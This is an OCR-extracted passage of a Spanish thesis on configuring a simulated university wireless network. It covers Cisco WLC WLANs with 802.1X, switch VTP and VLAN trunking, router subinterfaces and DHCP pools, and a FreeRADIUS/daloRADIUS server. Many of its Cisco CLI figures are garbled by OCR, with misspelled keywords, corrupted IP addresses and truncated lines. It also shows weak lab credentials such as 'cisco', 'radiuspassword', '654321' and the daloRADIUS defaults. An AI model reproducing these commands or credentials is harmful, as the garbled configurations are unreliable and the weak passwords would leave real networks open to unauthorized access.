l|||l|||l Save Configuration  Ping  Logout Refresh
[o | {ov] MONITOR WIANs CONTROLLER WIRELESS SECURITY MANAGEMENT COMMANDS HELP FEEDBACK  Home
Controller Interfaces Entries 1-20f 2
General
VLAN Interface Dynamiic AP
Interface Name Identifier 1P Address Type Management IPv6 Address
|
management untagged 157.100.183.2 Static Enabled 1:/128

virtual /A 182.0.2.1 Static Not Supported
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Figura 54

Nueva Interfaz

Interfaces > New

Interface Name | EDUROAM |

VLAN Id |as |

En las configuraciones de la interfaz se selecciona el nimero del puerto fisico del
WLC que es el puerto Gigabit nimero 1, para las direcciones de la interfaz se coloca el
numero de la VLAN 86 la direccién IP, méscara de subred y el gateway como se ilustra en la

Figura 55.

Figura 55

Configuracién de la interfaz

Save Configuration Ping Logout Refresh
Nmm ve Config: Bing  Logout &

cisco MONITOR WLANs CONTROLLER WIRELESS SECURITY MANAGEMENT COMMANDS HELP FEEDBACK M Home
Controller Interfaces > Edit | Apoly ]
General
General Information
Interfaces
Interface Name EDUROAM
MAC Address 00:00:97:09:16:03

» Internal DHCP Server - .
configuration

b Mobility Management

Ports
» NTP
o

» CDP

} Tunneling

» IPVG Physical Information

» mDNS | port number [ER |

» Advanced 0
Active Port o
Enable Dynamic AP Management [

Interface Address

VLAN Identifier
1P Address 157.100.0.2
Netmask 255.255.192.0
Gateway 157.100.0.1
DHCP Information
Primary DHCP Server 157.100.177.2

En la Figura 56 se observa la interfaz ya creada, para el caso de las siguientes
interfaces se realiza el mismo procedimiento. Finalizada la creacion de todas las interfaces

queda como la Figura 57 lo ilustra.
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Figura 56

Interfaz creada

VLAN Interface Dynamic AP
Interface Name Identifier IP Address Type Management IPvG Address
EDUROAM 86 157.100.0.2 Dynamic Disabled
management untagged 157.100.183.2 Static Enabled /128
wirtual IS 152.0.2.1 Static Mot Supported
Figura 57
Interfaces creadas
VLAN Interface Dynamic AP
Interface Name Identifier IP Address Type Management IPv6 Address
EDURQAM a6 157.100.0.2 Dynamic Disabled
FICS Wireless 42 157.100.193.2 Dynamic Disabled
W_Administrativos g4 157.100.174.2 Dynamic Disabled
W Docentes g2 157.100.128.2 Dynamic Disabled
W _Estudiantes 92 157.100.64.2 Dynamic Disabled
W Eventosl a8 157.100.136.2 Dynamic Disabled
W Eventos2 a0 157.100.144.2 Dynamic Disabled
management untagged 157.100.183.2 Static Enabled 11/128
virtual N/a 192.0.2.1 Static Mot Supported

En el apartado de WLANSs en el WLC se observa en la Figura 58 la primera WLAN
creada al momento de configurar el WLC desde la PC de gestion, se procede a configurar la
WLAN de Eduroam en general desde el nombre del perfil, el SSID, poner el estado activo y

elegir la interfaz “EDUROAM?” como se ilustra en la Figura 59.

Figura 58

Configuracién de WLANs

-I|I-I|I- Save Configuration  Ping  Logout Refresh

cisco MONITOR WLANs CONTROLLER WIRELESS SECURITY MANAGEMENT COMMANDS HELP  FEEDBACK A Home
WLANs WLANs Entries 1 - 1 of 1
~ WLANs Current Filter: [Change Filter] [Clear Filter]

WLANs

v Advanced
AP Groups [0 WLANTD  Type Profile Name WLAN SSID Admin Status Security Policies

Oz WLAN Wi-Fis Wi-Fis Enabled [WPA2][Auth(802.1X)] Remove
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Figura 59

Configuracion WLAN de Eduroam

WLANSs > Edit "Wi-Fi%'

General | Security | QoS | Policy-Mapping | Advanced |

Profile Name [EDUROAM |
Type WLAN

S5ID [EDUROAM |
Status Enabled

Security Policies [wrPA2][Auth{802.1X)]

(Modifications done under secunty tab will appear after applying the changes.)

Al v

Interface/Interface Group{G) |EDUROAM hd

En la pestafa de seguridad se habilita la seguridad de capa 2 WPA+WPA2 ya que en
simulador no permite WPAZ3, de igual manera la encriptacién AES y la gestion de claves de

autenticacion 802.1X como en la Figura 60.

Figura 60

Configuracién de la seguridad WLAN de estudiantes

| General | Security | QoS | Policy-Mapping | Advanced |_

Layer 2 | Layer 3 | AAA Servers |

Layer 2 Security £ | WPA+WPAZ V|

MAC Filtering2

Fast Transition

Protected Management Frame

Disabled ¥
WPA+WPAZ Parameters
WPA Policy
WPA2 Palicy
WPA2 Encryption Maes TKIP

Authentication Key Management

802.1X Enable

PSK [J Enable
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En la misma pestafia de seguridad en servicios AAA verificar que se encuentra la
direccion IP del servidor Radius con el puerto correspondiente en este caso sera el puerto

1812 tal como se ilustra en la Figura 61.

Figura 61

Servicios AAA de WLAN estudiantes

 General | Security | Qos | Policy-Mapping | Advanced

|" Layer 2 "|" Layer 3 "| AAA Servers

Select AAA servers below to override use of default servers on this W

Radius Servers

Authentication Servers Accounting Servers

Server 1 | IP:157.100.177.3, Port:1812 | Mone ¥

Mone w Mone »

Finalmente, en la pestafia de configuraciones avanzadas se debe habilitar las opciones
de conexion flexible de conmutacion y autenticacion locales de conexion flexible tal como se
observa en la Figura 62. Se realiza el mismo procedimiento para las WLANS restantes. Al
final las WLANS creadas deben quedar como se observa en la Figura 63, finalizando con el

guardado de todos los cambios realizados en el WLC.

Figura 62

Configuracién avanzada de WLAN de estudiantes

|" General | Security | QoS | Policy-Mapping | Advanced

FlexConnect

FlexConnect Local

o
Switching 2 B Enabled

FlexConnect Local Auth 22 Enabled

3



Figura 63

WLANSs creadas

] WLANID Type Profile Name
Oz WLAN EDUROAM

Oz WLAN Estudiantes
(- WLAN Docentes

O a WLAN Eventosl

s WLAN Eventos2

Os WLAN Administrativos
Oz WLAN FICA_Inalambrico

3.4.5.3. Configuracion Switches

100

WLAN SSID Admin Status Security Policies

EDUROAM Enabled [WraAZ][Auth(802.1X)]
W_Estudiantes Enabled [wraz][Auth(802.1X)]
W_Docentes Enabled [wraz][Auth(802.1X)]
W_Eventos1 Enabled [wraz][Auth(802.1X)]
W_Eventos2 Enabled [wraz][Auth(802.1X)]
W_Administrativos Enabled [wraz][Auth(802.1X)]
FICA_Wireless Enabled [wraz][Auth(802.1X)]

Segun la topologia al momento de la configuracion el switch de nucleo seré el

primero en configurar por lo que se procede a poner el switch en modo servidor “VTP” que

es un protocolo de mensajes de nivel 2 usado para configurar y administrar VLANS en

equipos Cisco. crear las VLANSs correspondientes a la universidad que seran cuarenta y siete

para la simulacién del escenario en la FICA se tiene en cuenta unicamente las VLANS que

constan en la facultad siendo estas cuatro: Eduroam, una para FICA-Laboratorios, FICA-

Figura 64

Wireless y FICA-Administrativos tal como se observa en la Figura 64.

Creacion de VTP server y VLANSs en el Switch

Switchrenable

Switch#configure terminal

Enter configuration commands, one per line. End with CHNTL/Z.
Switchi{config) fhostname CORE-PRIMARRIO

CORE-FRIMARRIO (config) #vtp mode serwver

Dewvice mode already VIP SERVER.

CORE-FRIMRRIO (config) §vtp domain cisco

Domain name already set to cisco.

CORE-PRIMARIO (config) évtp password cisco

Password already set to cisco

CORE-PRIMARIO (config) fend

CORE-PRIMRRIOH

CORE-PRIMARTIC#configure terminal

Enter configuration commands, one per line. End with CHNTL/Z.
CORE-PRIMARRIO (config) dvlan 38

CORE-PRIMABRTO (config-vlan) gname NATIVR

CORE-PRIMRRIO (config—vlan) #vlan 40

CORE-PRIMARIOC (config-vlan) #name FICA-Laboratorios
CORE-PRIMARIC (config-vlan) #vlan 42

CORE-PRIMRRIC (config-vlan) fname FICA-Wireless
CORE-PRIMRRIO (config-vlan) #vlan 44

CORE-PRIMARIO (config-vlan) géname FICA-Rdministratiwvos
CORE-PRIMRRIC (config—vlan) f#vlan 2€

CORE-PRIMARIC (config-vlan) fname EDURORM
CORE-PRIMARIO (config-vlan) gend

CORE-FRIMRRIOE
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A continuacion, se configura los enlaces troncales en las interfaces que tiene el switch

en este caso con el router EXINDA 4761, otro con el switch secundario, otro con el switch

NEXUS-5548, con el switch SW-3850, con el switch FICA-SW-4506, con el Router-Board-

1100 y el SW-QPCOM seran enlaces troncales, las interfaces conectadas a los WLC y a la

PC de gestion del WLC seran enlaces de acceso como en la Figura 65 esté ilustrado.

Figura 65

Interfaces troncales del switch

CORE-FRIMARIC#configure terminal

Enter configuration commands, one per line. End with CHTL/Z.
{config)#interface GigabitEthernet 1/0/1
CORE-EFRIMREIC|
CORE-PRIMARIC (config-if) #switchport trunk natiwve wlan 38
{config-if) #switchport trunk allowed wlan all
{config-if) fexit

CORE-EFRIMREIC|
CORE-ERIMRRTIO|

CORE-FPRIMRRIC

CORE-PRIMRRIC
CORE-FPRIMRRIC

CORE-PRIMRRIC
CORE-FPRIMRRIC

CORE-PRIMRRIC
CORE-FPRIMRRIC

CORE-PRIMRRIC
CORE-FPRIMRRIC

CORE-ERIMRRIC
CORE-PRIMRRIC
CORE-FPRIMRRIC

CORE-ERIMRRIC
CORE-PRIMRRIC
CORE-FPRIMRRIC

CORE-ERIMRRIC
CORE-PRIMRRIC
CORE-FPRIMRRIC

CORE-ERIMRRIC
CORE-PRIMRRIC
CORE-FPRIMRRIC
CORE-PRIMARIC
CORE-ERIMRRIC
CORE-PRIMRRIC

config-if) #switchport mode trunk

config) #interface GigabitEthernet 1/0/2
config-if) #switchport mode trunk

{config-if) #switchport trunk native wlan 38

{config-if) #switchport trunk allowed wvlan all
CORE-EFRIMREIC|
CORE-ERIMRRTIO|

config-if) fexit
config) ginterface GigabitEthernet 1/0/3

{config-if) #switchport mode trunk
{config-if) §switchport trunk native wlan 38
CORE-EFRIMREIC|
CORE-PRIMARIC (config-if) exit

{config) #interface GigabitEthernet 1/0/4
{config-if) #switchport mode trunk
CORE-EFRIMREIC|

config-if) #switchport trunk allowed wlan all

config-if) #switchport trunk natiwve wlan 38

{config-if) #switchport trunk allowed wlan all
{config-if) fexit

{config)#interface GigabitEthernet 1/0/5
CORE-EFRIMREIC|

config-if) #switchport mode access

lconfig-if) #¢switchport access wlan 18
{config-if) fexit

{config)#interface GigabitEthernet 1/0/&
CORE-EFRIMREIC|

config-if) #switchport mode access

lconfig-if) #¢switchport access wlan 18
{config-if) fexit

{config)#interface GigabitEthernet 1/0/7
CORE-EFRIMREIC|

config-if) #switchport mode trunk

{config-if) #switchport trunk natiwve wlan 38
{config-if) #switchport trunk allowed wlan all
{config-if) fexit

{config) #interface GigabitEthernet 1/0/24
{config-if) #switchport mode access
{config-if) #switchport access wlan 18
CORE-PRIMARIO (config—if) fend
CORE-PRIMREICE

Para los demas switches de la FICA se configura el VTP en modo cliente para que las

VLANS creadas en el switch principal se puedan propagar por ellos, ademas se configura los
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enlaces troncales de las interfaces que iran conectadas a los otros switches y AP’s como se

observa en la Figura 66.

Figura 66

Configuracion VTP en switches secundarios y enlaces troncales

Switch»enakle

Switchfcont
Enter confi
Switch {conf
NEXUIS5-5543 {
Device mode
NEXUIS5-5548 (
Domain name
NEXUIS5-5543 {
Password al
NEXUUS5-5548
NEXUIS5-5548
NEXUIS5-55483
NEXUI5-5543
NEXUUS5-5548
NEXUIS5-5548
NEXUIS5-55483
NEXUI5-5543
NEXUUS5-5548
NEXUIS5-5548
NEXUIS5-55483
NEXUI5-5543
NEXUUS5-5548
NEXUIS5-5548
NEXUIS5-55483
NEXUI5-5543
NEXUUS5-5548
NEXUIS5-5548
NEXUIS5-55483
NEXUI5-5543
NEXUUS5-5548
NEXUIS5-5548
NEXUIS5-55483
NEXUI5-5543
NEXUUS5-5548
NEXUS-554384#

igure terminal

guration commands, one per line.
ig) thostname NEXUS5-55483

config) fvtp mode client

already VIP CLIENT.

config) #vetp domain cisco
already set to cisco.

config) #vtp password cisco
ready set to cisco

{config) #interface GigabitEthernet
{config-if) #switchport mode trunk
{config-if) #switchport trunk natiwve wlan 38
{config-if) #switchport trunk allowed wlan all
{config-if) #exit

{config) #interface GigabitEthernet
{config-if) #switchport mode access
{config-if) #switchport access wlan
{config-if) #exit

{config) #interface GigabitEthernet
{config-if) #switchport mode access
{config-if) #switchport access wlan
{config-if) #exit

{config) #interface GigabitEthernet
{config-if) #switchport mode access
{config-if) #switchport access wlan
{config-if) #exit

{config) #interface GigabitEthernet
{config-if) #switchport mode access
{config-if) #switchport access wlan
{config-if) #exit

{config) #interface GigabitEthernet
{config-if) #switchport mode access
{config-if) #switchport access wlan
{config-if) #end

3.4.5.4. Configuracion del AP

End with CHNTL/Z.

1/0/2

17073

4

17074

4

1/70/5

17076

4

17077

4

Para la configuracion del AP lo primero es colocar la direccién IP por DHCP como se

ilustra en la Figura 67 que tomara dependiendo del pool correspondiente, el cual comienza a

emitir las diferentes WLANS creadas en el WLC como se observa en la Figura 68.



Figura 67

Configuracion del AP

¥ Ap FICA PB-1 _ O
Phy=ical Config Aftributes
I
GLOBAL GigabitEthernetl
Settings
WLC Port Status On
INTEREACE Bandwidth 1000 Mbps 100 Mbps 10 Mbps Auto
GigabitEthernetD s Half Duplex () Full Duplex |+] Auto
DotilRadiol MAC Address 000C.8522.7301
IP Configuration
(®) DHCP
() static
IPvé Address
Subnet Mask

Figura 68

WLANS emitidas por el AP

Device Name: AP FICA PB-1

Device Model: 37021

Port Link IP Address
GigabitEthernetl U 157.100.206.2/24
DotllRadicl U <not set>

CAPWAP Status:
Providing WLAN=:
EDUROAM (EDUROAM)
Eztudiantes (W_Estudiantes)
Docentea (W _Docentes)
Eventosl (W _Ewventosl)
Eventos2 (W _Ewventosz)

Bdministratives (W _Administratiwvos)

FICA Wireleas (FICA Wirelesas)

Phyaical Location:

3.4.5.5. Configuracion del Router

MAC Addresa
0ooc. 8522 .7301
000C. 8522 .7302

Connected te 157.100.183.2

Intercity > Home City > Corporate Office > AP FICA PB-1
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Para la configuracion del router CEDIA principal debemos tomar las interfaces a las

que se encuentra conectado e ir colocando su respectiva direccién IP de las subinterfaces que

seran configuradas. La primera interfaz en configurar seré la GigabitEthernet 0/0/0 que va

conectado al proveedor de Internet de la Universidad, se configura la direccion IP que sera
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9.9.9.0/30 y se enciende la interfaz tal como se ilustra en la Figura 69. Seguimos con la
interfaz GigabitEthernet 0/0/1 correspondiente a la red que va conectado al switch SW-3750

con la direccién IP 10.10.10.0/24 ilustrado en la Figura 70.

Figura 69

Configuracién interfaz gigabit 0/0/0 del router

Router=enakble

Routerfconfigure terminal

Enter configuration commands, one per line. End with CHTL/Z.
Bouter (config) #hostname CEDIR

CEDIR {config) finterface GigabitEthermet 0/0/0

CEDIZ (config-if) #ip address S.9.5.2 255.255_255_252

CEDIR {config—if) $§ipwe address S00:500:500:7531::2/12¢

CEDIR {config-if) #no shutdown

CEDIR {config—if) fexit

CEDIR (config)#

Figura 70

Configuracién interfaz gigabit 0/0/1 del router

CEDIL(config) #interface GFigabkbitEthernet 0/0/1
CEDIA{config-if) #ip address 10.10.10.1 255.255.255.0
CEDI&{config-if) g#ipve address 1000:1000:1000:-7531:-:1/114
CEDIRA{config-if) #no shutdown

CEDIA {config-if) §end
CEDIAg

Para el router EXINDA-4761 la interfaz GigabitEthernet 0/0 va conectado al firewall
ASA-5520, la interfaz GigabitEthernet 0/1 va a constar de subinterfaces configuradas debido
a las VLANSs configuradas en el switch, para la simulacion tenemos cinco subinterfaces
repartidas para laboratorios, administrativos, wireless, eduroam y la nativa. La VLAN 38
correspondiente a la nativa tiene la subinterfaz GigabitEthernet 0/1.38 con encapsulacion
dotlqg que permite que el router tenga enlace troncal con la direccion IP 157.100.206.1/24, la
siguiente subinterfaz GigabitEthernet 0/1.40 correspondiente a FICA-Laboratorios con la

direccion IP 157.100.156.1/23, seguida de la subinterfaz GigabitEthernet 0/1.42
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correspondiente a FICA-Wireless con la direccion IP 157.100.193.1/24, seguida de la
subinterfaz GigabitEthernet 0/1.44 correspondiente a FICA-Administrativos con la direccion
IP 157.100.194.1/24, finalmente la subinterfaz GigabitEthernet 0/0.86 correspondiente a

Eduroam con la direccién IP 157.100.0.1/18 tal como se observa en la Figura 71.

Figura 71

Configuracién interfaz gigabit 0/0 y gigabit 0/1 del router y sus interfaces

Bouterzenabl
Bouterfconfi

Enter configuration commands,

Router (confi
EXINDR-47T£l (
EXINDE-47€l
EXINDA-4T€l
EXINDA-47TEl(
EXINDA-47€1

EXTINDR-47
EXINDR-47
EXTNDR-47
EXTNDR-47
EXTINDR-47
EXINDR-47
EXTNDR-47
EXTNDR-47
EXTNDR-47€1
EXINDR-47€1l{
EXTNDR-47€l1
EXTNDR-47&l
EXTNDR-47€1
EXINDR-47€1l{
EXTNDR-47€l1
EXTNDR-47&l
EXTNDR-47€1
EXINDR-47€l
EXTNDR-47€l1
EXTHNDR-47&el{
EXTNDR-47€1
EXINDR-47€1l{
EXTNDR-47€l1
EXTHNDR-47&el{
EXTNDR-47€1
EXINDR-47€1l{
EXTNDR-47€l1
EXTHNDR-47&el{
EXTNDR-47€1
EXINDR-47€l
EXTNDR-47€1{
EXTNDR-47c1#

1
1
1
1
1
1
1
1

e
e
-
h=
[
[
€
-
h=
[
[
€

e
gure terminal

one per line. End with CHNTIL/Z.
g) fhostname EXINDR-47&l

config) #ipve unicast-routing

{config) #interface GigabitEthernet 0/0
{config-if)#ip address 15%2_.1€83.100.2 255_2

config-if) #ipve address 1520:1680:1000:

{config-if) #no shutdown

{config-if) fexit
{config) #interface GigabitEthernet 0/1.38
{config-subif) #encapsulation dotlQ 38 natiwve

{config-subif) #ip address 157.100.20&6.1 255.255_255.0
{config-subif) #ipve address 157:100:CFES:7531::B:-8001/114
{config-subif) #no shutdown

{config-subif) fexit

{config) #interface GigabitEthernet 0/1.40

{config-subkif) fencapsulation dotl( 40

{config-subif) #ipwvé address 157:100:CFES:7531::1:8001,/114
{config-subkif) #no shutdown
{config-subkif) fexit

config) #interface GigabitEthernet 0/1.42

{config-subif) #encapsulation dotlQ 42

(config-subif) #ip address 157.100.1%32.1 255 255_255.0
{config-subif) #ipve address 157:100:CFES:-7531::8:4001/114
{config-subif) #no shutdown

{config-subif) fexit

config) #interface GigabitEthernet 0/1._44

{config-subkif) fencapsulation dotld 44

{config-subif) #ipwvé address 157:100:CFES:7531::8:8001,/114

config-subif) fno shutdown

{config-subkif) fexit

config) #interface GigabitEthernet 0/1.8&

{config-subif) #encapsulation dotlQ 2€

{config-subif) #ipve address 157:100:CFES:-7531::1/114
{config-subif) #no shutdown

config-subkif) fend

Se crea cinco pools de direcciones IP diferentes para cada VLAN creada con la red, su

mascara de subred, un servidor DNS y la direccién del gateway por defecto esto para cada



uno de los cinco pools, finalmente se excluyen las direcciones IP que no se desea que sean

utilizadas para la simulacion tal como se ilustra en la Figura 72.

Figura 72

Creacion de pools de direcciones en el router

EXINDA-4T7€lgconfigure terminal

Enter configuration commands,
{config) #ip dhep pool VLANIE
EXINDR-47€1(
{dhep-config) fdns—-server 8.8.8.8
EXINDR-47&1 4

EXINDR-47&]1

EXINDR-47€1

EXINDR-47&]1
EXINDA-47E]1
EXINDR-47€1

EXINDR-47&]1
EXINDA-47E]1
EXINDR-47€1

EXINDR-47&]1

EXINDA-47E]1
EXINDR-47€1

EXINDR-47&]1

EXINDR-47&1(

EXINDR-47&]1

EXINDR-47&]1

EXINDR-47c]l

one per line.

End with CHNTL/Z.

dhep—config) §default-router 157.100_20&_1

{dhep-config) fexit

{config) #ip dhcp pool VLAN4O
{dhep-config) #network 157.100.15€.0 2Z55.255.254.
EXINDR-47&1 4

dhep—-config) §dns-server 83.83.8_8

config) #ip dhep pool VLAN44

dhcp-config) §dns—-server 8.83.8.8
dhep-config) #default-router 157.100.1%54.1
dhep-config) gexit

{config) #ip dhep pool VLANSG
EXINDR-47€1(
EXINDR-47£1(

dhep-config) #dns—-server 8.8.8.8
dhep—config) §default-router 157.100.0.1

config) #ip
config) gip
config) g#ip

{config) #ip
EXINDR-47€1(
EXINDR-47£1(

config) #ip
config) gip

{config) #ip
EXINDR-47€1(

ccnfigjﬂ

dhcp
dhep
dhep
dhecp
dhcp
dhep
dhep

{dhep-config) fexit
EXINDR-47€1(
EXINDR-47£1(
EXINDR-47&1 4

excluded-address
excluded-address
excluded-address
excluded-address
excluded-address
excluded-address
excluded-address

3.4.5.6. Configuracion de los Dispositivos

......

HHE R
o I R B 1]

[

o

n

n

100,
Sloo.
S1oo.
S1oo.
100,
Sloo.
S1oo.

{dhep-config) #default-router 157_100.15&.1
{dhep-config) fexit

{config) #ip dhep pool VLAN4Z
EXINDR-47&1 4
{dhep-config) #dns—server 8.8_.8.8
{dhep-config) #default-router 157.100.15%3.1
{dhep-config) fexit
EXINDR-47&1 4
EXINDR-47€1(
EXINDR-47€1(
EXINDR-47£1(
EXINDR-47&1 4

132,90

0.0

15€.0
lz3z.2
133.3
133.0
134.0
Z0s.0

.0
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Para la conexion de los diferentes dispositivos se debe ir a la parte inalambrica elegir

el SSID de una de las WLANSs creadas en el WLC como en la Figura 73 lo indica, para

conectarse al servidor Radius se coloca el usuario y la contrasefia correspondiente.



Figura 73

Configuracién dispositivo inalambrico para VLAN FICA-Wireless
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¥ Smartphoned O *
Physical Config Deskiop Programming Attributes.
|
GLOBAL Wireless0 Y
Settings
g : Port Stat W 0
Algonthm Settings o atus n
) A0 Mhne
INTERFACE Bandwidth 300 Mbps
n MAC Address 00%0.2100.1004
Wireles=0
3G/4G Celli SSID EDUROAM
Bluetooth Authentication
() Disabled ) WEP WEP Key
() WPA-PSK () WPAZ-PSK PSK Pass Phrase
User ID EDUROAM
) wipa (@ wpaz
Password ABCDE-fGH#
O 802.1X Method: MD5
User Name
Password
Encryption Type AES R

Al momento de conectarse al AP el dispositivo inalambrico en sus configuraciones se

debe obtener la direccion IP por DHCP correspondiente al pool de direcciones para Eduroam

como se observa en la Figura 74.

Figura 74

IP por DHCP para EDUROAM

¥ Smartphonel

Physical Config Desktop
—

IP Configuration
Interface Wireless0

IP Configuration

(® DHCP

IPv4 Address
Subnet Mask
Default Gateway

DNS Server

O bt
Programming Attributes
S
(::I Static DHCP request successful
157.100.0.2
255.255.192.0
157.100.0.1
8888
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Para conectarse a la red inalambrica de la FICA es necesario colocar las credenciales
correspondientes como el SSID “FICA-Wireless”, la autenticacion del servidor RADIUS con
el usuario “FICA-Wireless” y la contrasefia “654321” tal como se indica en la Figura 75, de
igual manera el dispositivo inalambrico debe obtener la direccién IP por DHCP
correspondiente al pool de direcciones colocadas para el uso de esta red como se observa en

la Figura 76.

Figura 75

Configuracion dispositivo inalambrico para VLAN FICA-Wireless

¥ |aptopd - O X
Physzical Config Desktop Programming Atftributes
I
GLOBAL Wireless0 Fy
Settings
- - Port Stati | 0
Algorithm Settings ort wtatus n
. 200 Mhne
INTERFACE Bandwidth 300 Mbps
- MAC Address 0002.1637.BOCA
| Wireless0 |
Bluctooth SSID FICA_Wireless
Authentication
) Disabled ) WEp WEP Key
() WPA-PSK () WRAZ-PSK PSK Pass Phrase
User IO FICA_Wireless
WPA WPAZ =
© C Password 654321
(0 802X Method: MDS
User Name
Password
Encryption Type AES w

Figura 76

IP por DHCP para FICA-Wireless

¥ | aptopd - O *

Physical Config Deskiop Programming Attributes

IP Configuration

Interface Wireless0 w

IP Configuration

(® DHCP O static
IPv4 Address

Subnet Mask

Default Gateway

DNS Server 8888
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3.4.5. Instalacion y configuracion del servidor RADIUS

Para mejorar la seguridad del sistema es necesario tener un mecanismo de defensa
extra, por lo que se va a realizar la instalacion de un servidor RADIUS. Este servidor
RADIUS proporcionara una capa adicional de autenticacion y autorizacién para los usuarios
que intentan acceder a la red o a recursos protegidos. Al implementar un servidor RADIUS,
se refuerza la seguridad al requerir que los usuarios autentiquen sus credenciales de manera
segura antes de poder acceder a los servicios, lo que reduce significativamente el riesgo de
accesos no autorizados y protege la integridad de los datos y recursos criticos del sistema. Lo
primero es tener el sistema totalmente actualizado y mejorado en su Gltima version tal como

se observa en la Figura 77.

Figura 77

Sistema actualizado

Una vez actualizado el sistema es necesario realizar la instalacion del servidor web
que en este caso serd Apache tal como se ilustra en la Figura 78, ademas en la Figura 79 se
observa la instalacion de PHP que es un lenguaje de programacion interpretado del lado del

servidor y de uso general que se adapta especialmente al desarrollo web ademas de sus
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complementos necesarios para el correcto funcionamiento, y en la Figura 80 se puede

observar la version instalada de php.

Figura 78

Instalar servidor WEB Apache

Figura 79

Instalacion de PHP y complementos

Figura 80

Version de PHP

Es importante tener instalado el “software-properties-common” tal como se observa

en la Figura 81 que proporciona una abstraccion de los repositorios aptos utilizados siendo
esto que permite administrar facilmente su distribucion y las fuentes de software de
proveedores de software independientes. En la Figura 82 se hace uso del comando “apt-key”
que sirve para gestionar una lista de claves APT utilizado para autenticar paquetes
considerados de confianza. Con el comando “add-apt” se aflade PPA (archivo de paquetes
personales) siendo una utilidad de linea de comandos en Ubuntu y Debian como se ilustra en
la Figura 83, finalmente en la Figura 84 se observa la instalacion que se realiza de la base de

datos conocida como MariaDB.
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Figura 81

Complementos para repositorios

Figura 82

Instalacion de claves para MariaDB

Figura 83

Repositorio MariaDB

Figura 84

Instalacién MariaDB

En la Figura 85 se realiza el ingreso a MariaDB con el comando “mysql -u root -p”

donde las opciones u y p son para solicitar usuario y contrasefia respectivamente, en la Figura
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86 se puede observar la version instalada esto es importante para el correcto funcionamiento

del servidor Radius.

Figura 85

Ingreso a MariaDB

Figura 86

Versioén de la base de datos

Lo siguiente es crear la base de datos con el nombre de Radius, a continuacion, se
brinda todos los privilegios al usuario con su respectiva contrasefia, seguido de “flush
privileges” que vuelve a leer todas las tablas de privilegios como se observa en la Figura 87,
por ultimo en la Figura 88 se realiza la instalacion del servidor freeradius con los

complementos necesarios para su correcto funcionamiento.
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Figura 87

Creacion de la base de datos radius

Figura 88

Instalacién de freeradius

Ahora toca volcar todo el esquema de tablas para el freeradius que se crea una vez

instalado el software con ayuda del archivo sgl que se encuentra en el directorio de

instalacion de freeradius tal como se observa en la Figura 89.

Figura 89

Creacion de tablas dentro de freeradius

Ahora se verifica primero la base de datos creada con el nombre de radius ilustrado en
la Figura 90 para luego poder observar las tablas creadas que contenia el archivo llamado sql
con la sentencia “show tables” como se observa en la Figura 91, dentro de la tabla nas se
pone los clientes del servidor radius es decir los routers que enviaran las autentificaciones al

servidor.



Figura 90

Verificacion de la base de datos creada
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Figura 91

Tablas creadas en la base de datos radius
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El siguiente paso es crear un enlace a un archivo o directorio de una manera mas
sencilla con el comando “In -s” para el archivo sql como se observa en la Figura 92 sino no se
realiza esto el servidor no funcionaria, ahora se debe ingresar al archivo sql y modificar las
lineas de driver y dialect por mysql como se ilustra en la Figura 93, finalmente en la Figura
94 se debe descomentar las lineas de servidor, puerto, ingreso, contrasefia y habilitar la linea

de clientes.

Figura 92

Enlace de archivo sql

Figura 93

Configuracién de lineas de configuracion

driver = "rlm_sql_mysql"

dialect = "mysql"”
Figura 94

Configuracion de archivo sql

server = "localhost"

port = 3306

login = "radius”

password = "radiuspassword”

read clients = yes
Lo siguiente es cambiar el grupo de usuarios del archivo sgl que corresponde con el

usuario y grupo de quien lo cre6 con el comando “chgrp”, ademas de indicar quien es el
duefio y el grupo del archivo con el comando “chown” como se observa en la Figura 95

basicamente es cambiar el propietario a estos ficheros. Terminado esto se procede a reiniciar

el servidor, verificando el estado del servidor freeradius para saber si el proceso se esta
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realizando de manera correcta deberia encontrarse en estado activo como se observa en la

Figura 96.

Figura 95

Permisos para archivo sql

Figura 96

Estado de servidor freeradius

Con el comando wget se obtiene el fichero comprimido donde se encuentra el archivo
de instalacion de daloradius del repositorio de GitHub como se ilustra en la Figura 97, para
después realizar la descompresion del archivo con unzip, una vez dentro de la carpeta de
daloradius se procede a realizar la creacion de las tablas para que el daloradius funcione
correctamente con freeradius como se observa en la Figura 98. Luego se debe mover el
directorio de esta carpeta hacia el directorio /var/www/html que es donde tiene acceso el
servidor apache para mostrar la pagina web, dado que daloradius se ejecuta sobre apache
utilizando php para poder configurar los clientes de una manera méas sencilla como lo es una
forma gréfica ademas de los usuarios que tendran acceso a la red Wi-Fi como se observa en

la Figura 99.
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Figura 97

Repositorio para daloradius

Figura 98

Creacion de tablas en daloradius

Figura 99

Enviar daloradius a otro directorio

Ahora toca modificar los permisos de la carpeta daloradius con los comandos
“chown” y “chmod” como se observa en la Figura 100, seguido de esto se debe configurar y
modificar el archivo daloradius.conf.php especificamente en el apartado de usuario,

contrasefia y nombre de la base de datos, en este caso es necesario poner tal cual se ha ido
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configurando cada uno de estos campos anteriormente para no tener fallas como en la Figura
101 se indica, se guarda el archivo y se procede al reinicio de los servicios tanto de apache

como el de freeradius como se observa en la Figura 102.

Figura 100

Permisos

Figura 101

Configuracion de archivo daloradius.config.php

Figura 102

Reinicio de servidor freeradius

Enla

Figura 103 se habilita el servicio ufw que es un cortafuegos de facil uso en el que se
habilita los puertos 1812 y 1813 para el servicio de Radius, realizado esto ya se puede ir a un
navegador web para iniciar la interfaz grafica de daloradius mediante el uso de
“localhost/daloradius” o “direccion-ip-del-servidor/daloradius” como se observa en la Figura

104.
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Figura 103

Habilitar puertos en el sistema

Figura 104

Ingreso credenciales daloradius en Firefox

< [&] QO D o localhost/daloradius/login.php#
“gjus RADIUS Management, Reporting, Accounting and Billing by Liran Tal

Login Required
Login Please
Username

administrator

Password

Location

Default

Login

Para poder ingresar se requiere el uso de un usuario y contrasefia que por defecto son
“administrator” y “radius” respectivamente, es necesario cambiar estas credenciales por
buena practica de seguridad, una vez realizado esto aparece la pantalla de inicio de daloradius

como se ilustra en la Figura 105, en la Figura 106 ya se crea el usuario nas con la direccion

ip, la contrasefia del servidor.
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Figura 105

Inicio daloradius

daloRADIUS

« c O B 192.168.9.199/dalorad us/index phe o ® & O =

Welcome, administrator. &3
(((/)))gg]g RADIUS Management, Reporting, Accounting and Billing by Liran Tal Location: default

Home Management Reports Accounting Billing GIS Graphs Config Help

daloRADIUS Web Management Server

version 0.9-9 /
Liran Tal

@y

dalo

Figura 106

Creacion de NAS

Home Management Reports Accounting Billing GIS Graphs

Realms/Proxys IP-Poo|

Users Batch Users Hotspots MNas User-Groups Profiles HuntGroups Attributes

New NAS Record

MNAS Info MNAS Advanced

List NAS

New NAS NAS IP/Host |192.168.9.1 |
